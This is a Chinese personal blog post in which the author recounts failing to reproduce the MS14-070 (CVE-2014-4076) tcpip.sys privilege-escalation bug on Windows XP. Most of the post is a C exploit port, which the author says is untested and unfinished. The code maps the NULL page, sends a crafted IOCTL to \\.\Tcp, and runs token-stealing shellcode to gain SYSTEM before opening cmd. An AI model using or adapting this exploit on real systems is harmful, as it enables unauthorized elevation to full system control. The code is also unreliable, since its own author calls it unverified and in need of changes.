注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

搞了半天居然做了无用功!  

2017-06-24 22:30:18|  分类: 一些练习 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

之前在看雪看到一篇tcpip.sys的cve-2014-4076提权分析文章,里面是用win2k3sp2做测试的。

因为我没有win2k3的调试环境。我也没看原始来源以及微软公告,以为xp系统有这个漏洞,就把py拷下来做个测试。

可是我的py是3.2.2里面的是以前py函数,改了下,除了pack那句有时还有问题,基本上就可以运行了。

可是让我意外的是居然打开\\.\Tcp都不能成功。

可是我用windbg脚本构造确实能打开的。

搞了好长时间没法搞成功,放弃用py。用c按照py重新构造了一遍。

等构造成功后,拿去虚拟机xp里试,没有蓝屏也没有提权成功!

试了好几次都这样,就怀疑是不是xp没有这漏洞。

然后找了原始的出处,说的就是win2k3sp2的漏洞。

做了半天,刚有点调试兴趣转眼就失去兴趣了。

附上未调试还需要修改内容的。。。。

//cl exp.cpp
#include <windows.h>
#include <stdio.h>

typedef DWORD (WINAPI *PFUN1)(DWORD a1, LPDWORD a2, DWORD a3, LPDWORD a4, DWORD a5, DWORD a6);
typedef DWORD (WINAPI *PFUN2)(HANDLE a1, DWORD a2, DWORD a3, DWORD a4, LPDWORD a5, DWORD a6, DWORD a7,DWORD a8, DWORD a9,DWORD a10);
PFUN1 NtAllocateVirtualMemory;
PFUN2 NtDeviceIoControlFile;

char buf[] =
"\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00"
"\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00";

char sc[] =
"\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x38\x50\xBB\x04\x00\x00\x00\x8B\x80\x98\x00\x00"
"\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x8B\xB8\xD8\x00\x00\x00\x83"
"\xE7\xF8\x58\xBB\x41\x41\x41\x41\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98"
"\x94\x00\x00\x00\x75\xED\x89\xB8\xD8\x00\x00\x00\x61\xBA\x11\x11\x11\x11\xB9\x22\x22"
"\x22\x22\xB8\x3B\x00\x00\x00\x8E\xE0\x0F\x35\x00";

void init(void)
{
 HMODULE hDll = GetModuleHandle("ntdll.dll");
 NtAllocateVirtualMemory = (PFUN1)GetProcAddress(hDll, "NtAllocateVirtualMemory");
 NtDeviceIoControlFile = (PFUN2)GetProcAddress(hDll, "NtDeviceIoControlFile");
}

char* find(char* b1, int n1, char* b2, int n2)
{
 int i, n;
 if (n1 < n2) return NULL;
 n = n1-n2;
 for (i=0; i<n; i++)
 {
  if (memcmp(b1+i,b2,n2) == 0)
  {
   return b1+i;
  }
 }
 return NULL;
}

int main(int argc, char *argv[])
{
 DWORD a2, a4, a5;
 printf("CVE-2014-4076\n");
 init();
 HANDLE hTcp;
 hTcp = CreateFile("\\\\.\\Tcp", FILE_SHARE_WRITE | FILE_SHARE_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
 if (hTcp == INVALID_HANDLE_VALUE)
 {
  printf("[-] 打开\\\\.\\Tcp失败!");
  return 0;
 }
 a2=0x1000;
 a4=0x4000;
 DWORD r = NtAllocateVirtualMemory(-1, &a2, 0, &a4, 0x3000, 0x40);
 if (r != 0)
 {
  printf("[-] 分配内存失败!");
  return 0;
 }

 char *p;
 p = find(sc, sizeof(sc), "\x41\x41\x41\x41", 4);
 *(DWORD*)p = GetCurrentProcessId();
 p = find(sc, sizeof(sc), "\x11\x11\x11\x11", 4);
 memcpy(p, "\x39\xff\xa2\xba", 4);
 p = find(sc, sizeof(sc), "\x22\x22\x22\x22", 4);
 memcpy(p, "\x00\x00\x00\x00", 4);

 memcpy((LPVOID)0x28, "\x87\xff\xff\x38", 4);
 memcpy((LPVOID)0x38, "\x00\x00\x00\x00", 4);
 memcpy((LPVOID)0x1100, buf, sizeof(buf) );
 memcpy((LPVOID)0x2b, "\x00\x00\x00\x00", 4);
 memcpy((LPVOID)0x2000, sc, sizeof(sc) );

 a5=8;
 NtDeviceIoControlFile(hTcp, NULL, NULL, NULL, &a5, 0x120028, 0x1100, sizeof(buf), 0, 0);
 system("cmd");
 CloseHandle(hTcp);
 return 0;
}

 

参考:

MS14-070 Windows tcpip!SetAddrOptions NULL Pointer Dereference

A vulnerability within the Microsoft TCP/IP protocol driver tcpip.sys can allow a local attacker to trigger a NULL pointer dereference by using a specially crafted IOCTL. This flaw can be abused to elevate privileges to SYSTEM.

 

Microsoft Windows Server 2003 SP2 - Privilege Escalation (MS14-070)

 

  评论这张
 
阅读(6)| 评论(0)
推荐 转载

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017